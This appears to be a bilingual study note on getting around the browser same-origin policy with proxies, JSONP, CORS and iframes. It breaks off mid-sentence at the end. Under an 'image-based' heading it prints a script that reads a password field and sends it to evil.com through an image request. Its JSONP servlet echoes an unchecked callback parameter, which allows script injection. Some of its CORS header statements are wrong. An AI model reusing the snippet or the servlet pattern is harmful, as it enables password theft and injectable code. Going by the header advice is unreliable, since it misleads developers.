AJAX Cross-Domain Same-Origin Policy limitation

AJAX Same-Origin Policy(SOP) limitation

摘自：

http://www.ibm.com/developerworks/library/wa-aj-jsonp1/ http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/index.html

同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下，浏览器只允许网页中的脚本（如 JavaScript 或 VBScript）访问与之同源的 HTTP 请求和 cookie。注意即使域名和IP是对应的同一个地址，也是属于不同的源的。这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制(XmlHttpRequest)，而对静态的资源文件，如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中（例如 <script src="..." >, <img src=”…”>）。因此，对于静态文件可以从任意其它域名下导入 HTML 文档。

AJAX prevents cross-domail invokation, there are several ways to by pass this limitation.

write a proxy on the server side.

The SOP limitation only exists only on the javascript side. While on the side, we can still invoke the other domail url such as via HttpClient

JSONP(JSON with Padding)

the same-origin policy doesn't prevent the insertion of dynamic script elements (动态引入图像也是可以的，这样静态资源也可以引起跨域的调用）into the document. That is, you could dynamically insert JavaScript from different domains, carrying JSON data in them.

<mce:script type="text/javascript">
<!--
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);

// load the script
document.getElementsByTagName('head')[0].appendChild(script); 

// -->
</mce:script>

Note that, in order to do this, you must have a callback function already defined in the Web page at the time of insertion. Beginning with version 1.2, jQuery has had native support for JSONP calls. You can load JSON data located on another domain if you specify a JSONP callback, which can be done using the following syntax: url?callback=?.

AJAX invoke:

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?", 
function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

Another domain generates json data and returned to client side with callback function.

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
  throws ServletException, IOException {
	String jsonData = getDataAsJson(req.getParameter("symbol"));
	String output = req.getParameter("callback") + "(" + jsonData + ");";

	resp.setContentType("text/javascript");
          
	PrintWriter out = resp.getWriter();
	out.println(output);
	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}     

基于图像的如下

(function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})()

局限性：

需要服务端配合改造
JSONP只支持GET请求

CORS

Cross-origin resource sharing (CORS) is a mechanism that allows a web page to make XMLHttpRequests to another domain. Such "cross-domain" requests would otherwise be forbidden by web browsers, per the same origin security policy. CORS defines a way in which the browser and the server can interact to determine whether or not to allow the cross-origin request. It is more powerful than only allowing same-origin requests, but it is more secure than simply allowing all such cross-origin requests.

通过在HTTP Header中加入扩展字段，服务器在相应网页头部加入字段表示允许访问的domain和HTTP method，客户端检查自己的域是否在允许列表中，决定是否处理响应。

服务器端在HTTP的响应头中加入：

Access-Control-Allow-Origin: example.com
Access-Control-Request-Method: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin
Access-Control-Expose-Headers: Content-Range
Access-Control-Max-Age: 3600

多个域名之间用逗号分隔，表示对所示域名提供跨域访问权限。"*"表示允许所有域名的跨域访问。

客户端可以有两种行为：

发送OPTIONS请求，请求Access-Control信息。如果自己的域名在允许的访问列表中，则发送真正的请求，否则放弃请求发送。
直接发送请求，然后检查response的Access-Control信息，如果自己的域名在允许的访问列表中，则读取response body，否则放弃。本质上服务端的response内容已经到达本地，JavaScript决定是否要去读取。

iframe

通过iframe的src可以指向任意的server url

老实说